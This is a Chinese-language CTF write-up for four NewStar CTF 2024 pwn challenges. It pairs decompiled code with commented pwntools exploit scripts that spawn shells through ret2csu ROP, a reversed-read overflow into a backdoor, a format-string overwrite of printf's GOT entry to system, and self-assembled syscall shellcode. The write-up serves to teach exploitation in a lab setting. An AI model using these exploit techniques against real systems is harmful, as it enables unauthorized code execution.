NewStar CTF 2024-Week2-PWN部分题解

My_GBC!!!!!

checksec

main函数

int __fastcall main(int argc, const char **argv, const char **envp)

{

_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF // 定义了一个名为 buf的 16 字节数组 

initial(argc, argv, envp); // 调用初始化函数

write(1, "It's an encrypt machine.\nInput something: ", 0x2CuLL); //向 stdout (fd = 1) 打印提示信 息。

 0x2C = 44,也就是打印长度 44 的字符串。

len = read(0, buf, 0x500uLL); //读取用户输入, 读入最多 0x500 字节数据,写入到 buf

write(1, "Original: ", 0xBuLL); // 打印“Original: ”

write(1, buf, len); // 然后把用户输入的内容按 len长度输出 , 这里 buf里写了多少,都会被原样打印出来

write(1, "\n", 1uLL);

encrypt(buf, (unsigned __int8)key, (unsigned int)len); // 调用加密函数 ,下面详细看看

write(1, "Encrypted: ", 0xCuLL);

write(1, buf, len);

write(1, "\n", 1uLL); //和上面一样

return 0;

}

encrypt函数

__int64 __fastcall encrypt(__int64 a1, char a2, int a3)

{

__int64 result; // rax //声明变量result

unsigned int i; // [rsp+1Ch] [rbp-4h] //声明循环变量i

for ( i = 0; ; ++i ) //循环部分

{

result = i;

if ( (int)i >= a3 ) // 从 i=0开始,一直加到i==a3停止

break;

*(_BYTE *)((int)i + a1) ^= a2; //核心操作部分, 先按字节对 buffer 的第 i 个位置做异或(XOR)操作 

*(_BYTE *)(a1 + (int)i) = __ROL1__(*(_BYTE *)((int)i + a1), 3); // 再左循环位移 3 位

}

return result;

}

tip:这里科普一下fd

fd(标准文件描述符)(标准输入输出)

操作系统在启动一个程序时,会默认打开三个文件描述符,分别是:

文件描述文件描述符
stdin标准输入(通常是键盘)0
stdout标准输出(通常是终端/屏幕)1
stderr标准错误输出(也是终端)2

但是要构造ROP链的话我们发现一个很严重的问题,那就是程序缺少可用的寄存器进行传参(64位传参顺序 rdi rsi rdx rcx r8 r9)

我们注意到程序中有csu片段,那我们可以利用ret2csu来进行传参

EXP

# 引入 pwntools 工具包,专门用来写 CTF 或漏洞利用脚本

from pwn import *

# 设置基础环境信息:

# log_level = 'debug':让 pwntools 自动打印详细的调试信息

# arch = 'amd64':程序是 64 位的

# os = 'linux':程序运行在 Linux 系统上

context(log_level='debug', arch='amd64', os='linux')

# 设置当用 gdb 调试程序时,使用 tmux 水平分屏打开终端

context.terminal = ["tmux", "splitw", "-h"]

# ========== 工具函数区 ==========

# 把小于 8 字节的内容补成 8 字节再解码成 int(用于读取地址)

def uu64(x): return u64(x.ljust(8, b'\x00'))

# 快捷的发送函数们

def s(x): return p.send(x) # 发送原始字节

def sa(x, y): return p.sendafter(x, y) # 在看到提示 x 后发送 y

def sl(x): return p.sendline(x) # 发送一行(自动加换行)

def sla(x, y): return p.sendlineafter(x, y)# 在看到提示 x 后发送一行 y

def r(x): return p.recv(x) # 接收指定长度的字节

def ru(x): return p.recvuntil(x) # 接收到特定字符串为止

# ========== 本地 or 远程运行 ==========

k = 0 # 改成 0 就是本地调试,1 是连接远程

if k:

addr = '' # 改成远程地址:端口,例如 'pwn.server.com:1234'

host = addr.split(':')

p = remote(host[0], host[1]) # 连接远程服务

else:

p = process('./pwn') # 启动本地 ELF 程序

# 加载 ELF 文件和 libc 文件,用于找符号(函数地址等)

elf = ELF('./pwn')

libc = ELF('./libc.so.6')

# 调试函数,可以插入断点用 gdb 跟踪调试

def debug():

gdb.attach(p, 'b *0x401399\nc\n') # 在 0x401399 设置断点,然后继续运行

# ========== 解密函数区 ==========

# 向右旋转 n 位的函数(单字节的 ror 操作)

def ror(val, n):

return ((val >> n) | (val << (8 - n))) & 0xFF

# 实际的解密函数:先 ror,然后异或 key

def decrypt(data: bytes, key: int):

decrypted_data = bytearray()

for byte in data:

byte = ror(byte, 3) # 右移 3 位

byte ^= key # 异或 key

decrypted_data.append(byte)

return decrypted_data

# ========== ROP Gadget 构造函数区 ==========

# 构造第一个 CSU(构造函数调用的通用 gadget)部分,传参使用

def csu_1(arg1, arg2, arg3, func=0, rbx=0, rbp=1): #这里rbx=0是为了让上面call调用的是r15的内容, rbp=1是为了防止进入jnz跳转循环

r12 = arg1 # 第一个参数 -> edi (rdi的低32位),输入0(写入)或1(读取)

r13 = arg2 # 第二个参数 -> rsi (读或写到的位置)

r14 = arg3 # 第三个参数 -> rdx(读或写的字节数)

r15 = func # 实际调用的函数地址

payload = p64(0x4013AA) # gadget1:设置参数的地址

payload += p64(rbx) + p64(rbp)

payload += p64(r12) + p64(r13)

payload += p64(r14) + p64(r15)

return payload

# CSU 的第二段 gadget(会调用上面准备好的函数)

def csu_2():

return p64(0x401390) # gadget2:跳转执行 r15(r12, r13, r14)

# ========== 构造 payload 区 ==========

add_rsp_8_ret = 0x401016 # ROP 链调整栈使用的 gadget:add rsp, 8; ret

ret = 0x40101a # 简单 ret,防止栈对齐错误

# 拼出完整的 payload

payload = b'a' * 0x18 # 填满缓冲区,覆盖到返回地址,(16+8=24=0x18)

# 第一步:read(1, write@got, 0x100),从write函数的got表读 0x100 字节进 read@got,方便后续控制

payload += csu_1(1, elf.got.read, 0x100, elf.got.write) + csu_2()

# 第二步:read(0, 0x404090, 0x50),把后续指令写入可控内存区域

payload += csu_1(0, 0x404090, 0x50, elf.got.read) + csu_2()

# 第三步:调用空地址 0x404098(我们在后续会把system(“/bin/sh”)写在这里给上面的read读取到)

payload += csu_1(0, 0, 0, 0x404098) + csu_2()

payload += p64(ret) #64位程序栈必须 16 字节对齐

# 第四步:执行我们放到 0x404090 的指令:跳到 system

payload += csu_1(0x4040A0, 0, 0, 0x404090) + csu_2()

# ========== 正式开始攻击 ==========

ru(b'Input something:') # 等待程序提示输入

s(decrypt(payload, 90)) # 把构造好的 payload 加密后发给程序

# 读取泄露的地址,用于计算 libc 的基址

libc_base = u64(ru(b'\x7f')[-6:]) - libc.sym.read

success(f"libc_base --> 0x{libc_base:x}") # 打印出计算好的 libc 基地址

# 构造第二阶段 payload:system("/bin/sh")

payload = p64(libc_base + libc.sym.system) # system 函数地址

payload += p64(add_rsp_8_ret) # 调整栈

payload += b'/bin/sh\x00' # 命令字符串

s(payload) # 发送第二阶段 payload

p.interactive() # 拿到 shell,开始互动

Inverted World

checksec

发现未开启 pie,开启了 Canary

main函数

int __fastcall main(int argc, const char **argv, const char **envp)

{

_BYTE buf[255]; // [rsp+0h] [rbp-110h] BYREF //栈上分配的 255 字节buf缓冲区

_BYTE v5[17]; // [rsp+FFh] [rbp-11h] BYREF // 另一个栈上的v5数组,仅 17 字节

*(_QWORD *)&v5[9] = __readfsqword(40u);

init(argc, argv, envp);

table();

write(0, "root@AkyOI-VM:~# ", 18uLL);

read(0, v5, 1298uLL); //这里的read暗藏玄机,详细看下面

write(1, buf, 256uLL);

puts(byte_402509);

puts("??? What's wrong with the terminal?");

return 0;

}

自定义的read函数(并不是libc中标准的read函数)

ssize_t read(int fd, void *buf, size_t nbytes)

{

char bufa; // [rsp+2Bh] [rbp-15h] BYREF

int v6; // [rsp+2Ch] [rbp-14h]

__int64 i; // [rsp+30h] [rbp-10h]

unsigned __int64 v8; // [rsp+38h] [rbp-8h]

v8 = __readfsqword(0x28u); //读取canary的值 tip: 在 x86_64 Linux 上的 glibc 实现中,栈 canary(也叫 stack guard)就是保存在 fs:0x28 这个偏移上的。

for ( i = 0LL; i > -(__int64)nbytes; --i ) //从i=0开始循环,实现将数据倒着写到 buf 中(从高地址往低地址写,正常是从低地址向高地址写)

{

v6 = read(fd, &bufa, 1uLL);

if ( v6 != 1 ) //如果没读到

{

puts("Man What can I say? Man! This is not funny."); //输出这个

exit(0);

}

if ( bufa == 10 ) //如果遇到‘\n’('\n' 的 ASCII 是 10)

{

*((_BYTE *)buf + i) = 0;

return v8 - __readfsqword(0x28u);//返回canary差值,相当于退出
tip:

v8 是函数开头读取的 canary 值(fs:[0x28])。

__readfsqword(0x28u) 是再次读取当前的 canary 值。相减看canary有没有被改动

}

*((_BYTE *)buf + i) = bufa;

}

return v8 - __readfsqword(0x28u);

}

天哪,发现这题有后门

注意,这个后门函数有个判断条件hackable,我们不用管它,直接绕过,从更下面的地址开始,0x401386这个calloc调用这里就挺好

void __noreturn backdoor()

{

if (hackable) {

 // ✅ 真·后门逻辑从这里开始,就是我们刚才说的0x401386

command = calloc(0x1000, 1);

puts("root@AkyOI-VM:~# ");

read(0, command + 1, 2);

system(command);

exit(0);

} else {

 // ❌ 普通路径(打脸路径,给你假的flag)

puts("This system is absolutely secure!");

system("echo flag");

exit(0);

}}

思路:main函数的 read 存在栈溢出,但是这个 read 函数是自定义的(源码中命名函数名为 _read 来实现的)。

_read 实现的是和正常 read 相反方向进行输入,我们这里输入的长度 0x512 明显大于 255,可以写到低地址的栈帧的东西,我们劫持位于低地址的 _read 函数的返回地址到 backdoor 中间的部分(因为劫持到开头过不了检测)。

反向输入 sh 即可执行 system("sh") 拿到 shell.

关于 Canary 因为是反向输入的,只要不多写东西就不会修改到 Canary,自然就不用故意绕过 Canary.

大概原理图如下:

Stack (高地址 ↓→ 低地址):

main()

│

├── [返回地址] ← 低地址

├── [saved RBP]

├── [v5 @ rbp-0x11] 我们从v5的下面这个起始位置往下填充0x100=256个‘a’

├── [buf @ rbp-0x110] 刚好覆盖完buf

│

└── 调用 _read() → _read 的栈帧:

├── [返回地址 ← 我们想覆盖这个]

├── [saved RBP]

├── [local vars: bufa, v6, i, v8...]

EXP

from pwn import*

context.log_level='debug'

context(arch='amd64', os='linux')

context.terminal=['tmux', 'splitw', '-h']

p=remote('???.???.???.???', ?????) //远程连接靶机

payload=b'a'*0x100 //填充0x100个a,

p.sendline(payload+p64(0x0401386)[::-1]) //跳到0x040137C这个地址,执行后门函数部分,[::-1]这个是倒着写的意思

p.sendlineafter("root@AkyOI-VM:~#", "hs") //当接收到这一行字符时,发送hs

p.sendline("cat flag")

p.interactive()

「明明还有 init()table()等函数,为什么覆盖完 buf就能打到 _read的返回地址?」

答案是:那些函数在你调用 read()之前已经跑完了,它们的栈帧早就被释放了。

唯一还在栈上的、还没返回的函数是谁?
是你当前正在执行的
_read()

🔍栈帧动态示意图(以调用 read()为分界线)

在调用 read()之前(正常执行阶段):

Stack 高地址 ↓

[main 返回地址]           ← ⬅️ 高
[saved rbp]
[buf (0xFF bytes)]
[v5  (0x11 bytes)]
(main 当前运行中)

│─ 调用 init() ──> [init 的栈帧]
│─ 调用 table() ─> [table 的栈帧]
│
│(这些函数在调用后会 return,栈帧就弹掉了!)

→ write() 输出提示符
→ 调用 read(0, v5, 0x512)

Ez_fmt

checksec

Vuln函数

int vuln()

{

int result; // eax

int i; // [rsp+Ch] [rbp-44h]

_QWORD buf[8]; // [rsp+10h] [rbp-40h] BYREF 每个 _QWORD 是 8 字节, 整个 buf[8]实际上是占 了 64 字节的栈空间

buf[7] = __readfsqword(0x28u); 这句是保存栈 canary 的值

memset(buf, 0, 48); 将 buf 前 48 字节清零,为后续输入做准备

result = puts("you know it's easy fmt\ntry !");

for ( i = 0; i <= 2; ++i ) 循环3次,给你3次利用机会

{

puts("data: ");

read(0, buf, 0x30uLL); 从标准输入读取 48 字节进buf,注意:无输入校验。

printf((const char *)buf); 格式化字符串漏洞点! 无格式化符号限定的printf,经典的格式化字符串漏洞,攻击者可以输入:

%p:泄露栈内容

%n:写任意地址(配合地址控制和格式串偏移)

%s:读取任意地址内容

result = (unsigned int)memset(buf, 0, 0x30uLL);

}

return result;

}

根据程序,我们有三次格式化字符串的机会

  • 第一次泄露 libc
  • 第二次改 printf GOT 表地址为 system
  • 第三次输入为 sh,构造出 printf(buf)=system(sh) 即可

这里可以看出offest为8(AAAA就是0x41414141)

接下来我们gdb调试看一下,在printf函数上下断点,看下栈上内容

发现0x7ffff7c29d90这个地址,就是我们要的libc地址(0x7f开头,且符合libc地址特征)

偏移是0x29d90

对于printf函数来说,x86-64架构 中,它有6个参数,都是通过寄存器来传递的(rdi, rsi, rdx, rcx, r8, r9) 所以我们数条目的时候要加上6,rsp下面的是返回地址,再下面开始第7个参数,数到第19个参数就是在0x7ffff7c29d90,所以%19$p就可以泄露这个地址

第12和第13个参数都是0x0000000(第一个地址是第6个参数)

EXP

from pwn import *

from ctypes import *

context.log_level = 'debug'

context.arch = 'amd64'

context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')

elf = ELF('./pwn')

flag = 0

p = remote('127.0.0.1',42111 )

def leak(name, addr): return log.success(name+"--->"+hex(addr)) 定义一个leak函数,下面会用到

p.sendlineafter(b': \n', b'%19$p') 泄露 libc 地址

p.recvuntil(b'0x')

libc.address = int(p.recv(12), 16) - 0x29d90 从返回中取出地址,减去偏移 0x29d90,算出 libc 的加 载基址 

leak("libc", libc.address) 打印出来泄露结果

low = libc.sym['system'] & 0xff system 地址的低1字节

high = (libc.sym['system'] >> 8) & 0xffff system 地址的次高2字节

因为格式化字符串一次只能写 1 or 2 字节,所以我们要拆开写 system()的地址。

low是最低的 8 位(1 字节),high是接下来的 2 字节

payload = b'%' + str(low).encode() + b'c%12$hhn'

payload += b'%' + str(high - low).encode() + b'c%13$hn'

%{low}c 表示先打印这么多字符(就是控制输出长度)——这就是格式化字符串的 trick:打印多少字符就能写入多少到内存。

%12$hhn 表示把刚才打印的字符数(就是 low)写入第12个参数指向的地址(hhn 是写 1 字节,hn是写2字节)

payload = payload.ljust(0x20, b'a') 表示把当前 payload 填充到 0x20 字节(32 字节)长,不足的部分用 b'a' 补上。 之前我们知道格式化字符串的offest为8,从第8个补到第12个刚好32字节

至于为什么要用第12个和第13个参数,是因为那里刚好是空位置,栈上其他位置都有数据,如果不小心覆盖了程序就会崩。(其他空位置也可以,但是要保证ljust刚好填到那里,输入是从第8个参数开始的)

payload += p64(elf.got['printf']) + p64(elf.got['printf']+1) 手动补了两个地址进 payload:[printf@got], [printf@got+1]

p.sendafter(b': \n', payload)

p.sendlineafter(b': \n', b' sh;')

p.interactive()

printf@got是什么?

  • 程序编译后,对于那些 “运行时才知道地址的函数” 比如 printf,会先放个占位地址在 GOT 表中。
  • 程序运行的时候,printf() 实际会先跳到它的 GOT 表里查一下真实地址,再跳过去执行。
  • GOT = Global Offset Table,全局偏移表。

👉所以 printf@got这个地址存的是 printf的真实地址,程序运行时会先跳到这看一眼

  • 如果程序接下来执行 printf("sh"),它本来会跳到 printf@got → 找到 printf()
  • 你把 printf@got 劫持成 system 了,它就会跳到 system() 去执行。

Bad Asm

checksec

main函数部分

int __fastcall __noreturn main(int argc, const char **argv, const char **envp) //入口函数

{

int i; // [rsp+8h] [rbp-18h]

int v4; // [rsp+Ch] [rbp-14h]

void *buf; // [rsp+10h] [rbp-10h] //buf存储区

char *dest; // [rsp+18h] [rbp-8h] //dest 是后面执行用的区(可读写执行),上面开了NX ,但不影响我用这段新的区域

init(argc, argv, envp); //初始化操作,不重要

label(); //打印题面信息,这道题中说一个欢迎样式的Bad Asm

buf = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); //这里分配了一个 0x1000 字节的内存页(4KB)

dest = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); // 又分配了一块 0x1000字节的内存,但这块内存是 可执行的! 权限是 7,表示可读、可写、可执行(RWX)

puts("Input your Code : ");

v4 = read(0, buf, 0x1000uLL); //从标准输入读 0x1000 个字节(最多 4096),存到刚刚分配的 buf 中,

你输入的字节数会保存在 v4 里

for ( i = 0; i < v4 - 1; ++i ) // 开始一个循环,从 buf[0] 一直检查到 buf[v4-2]

{

if ( *((_BYTE *)buf + i) == 15 && *((_BYTE *)buf + i + 1) == 5

|| *((_BYTE *)buf + i) == 15 && *((_BYTE *)buf + i + 1) == 52 ) //重点检测:是不是用了某些敏感指令

0F 05 是 syscall(x86_64 下的系统调用)

0F 34 是 sysenter(旧式系统调用方式)

⚠️ 这题不允许你直接调用 syscall! 反正就是不能系统调用

{

puts("ERROR \\\\ Unavailable ! : syscall/sysenter/int 0x80");

exit(1);

}

}

strcpy(dest, (const char *)buf); // 用不安全的 strcpy 把你输入的内容拷贝到 dest,

就是那个可执行的 RWX 区 ,没有长度限制

补充: 如果你输入里含有 \x00(字符串结束符),会导致拷贝提前结束

exec(dest); // 直接执行你搬过去的 输入

exit(1);

}

思路:我们不能直接写 syscall 指令 → 那就「写进去的不是 syscall,而是运行时再动态拼出来的 syscall!

🧠 利用 rwx 内存 + xor 拼接 + 写入指令流末尾 = 自己在 shellcode 中制造 syscall!

EXP

from pwn import *

from Cryptodome.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'

context(arch='amd64', os='linux')

context.terminal=['tmux', 'splitw', '-h']

ELFpath = './pwn'

p=remote('127.0.0.1', 35037)

shellcode='''

;

mov rsp, rdi 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,rdi 是 mmap 区地址,也就是 shellcode 当前加载地址(在动态调试的过程中发现rsp的值被清零了)

mov rax, rdi 保存 rdi 到 万能寄存器rax,后面用来写 syscall

add sp, 0x0848 将栈指针(sp)加上0x0848,向更高的内存地址,把这个偏移当作栈顶(加偏移是为了防止某些操作破坏写入的 shellcode)

mov rsi,rdi rsi=rdi,就是从当前shellcode的位置开始读

mov dx, 0x3fff ; 一次最多读 0x3fff 字节(管够)

这两行作用是设置 rsi rdx 寄存器,上面这个rsi = mmap 区地址(也就是 read 的 buf)

mov cx, 0x454f

xor cx, 0x4040 ; 0x454f^0x4040=0x0f05,就是syscall的机器码

add al, 0x40 

mov [rax], cx ; rax原本指向的是当前段的开始位置,加上一个偏移0x40,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面(这里0x40+syscall的字节=0x42,后面会用到)

xor rdi, rdi rdi = 0,stdin

xor rax, rax rax = 0,read 设置 read 的系统调用号 0,设置 rdi 寄存器

'''

最终形成的调用 read(0, code, 0x3fff)

p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) 填充到0x40字节,x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。

p.send(b'a'*0x42+asm(shellcraft.sh())) 0x42个a正好覆盖完前面的syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode

p.interactive()

第一段shellcode,也就是p.sendafter(“Input your Code :”, asm(shellcode).ljust(0x40, b’\x90′)),执行完后,由于程序没有检测到0f05,于是就把这个shellcode复制到dest里面使用,这里面有执行权,执行了 read(0, code, 0x3fff),然后我们发送第二段shellcode,被这个read读取,但是这里读取到的地方和我们之前写的第一段shellcode的地方是同一个地址,所以为了避免read后再执行read(无限循环),我们直接填充a覆盖掉syscall,然后写入shellcraft.sh()执行拿shell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇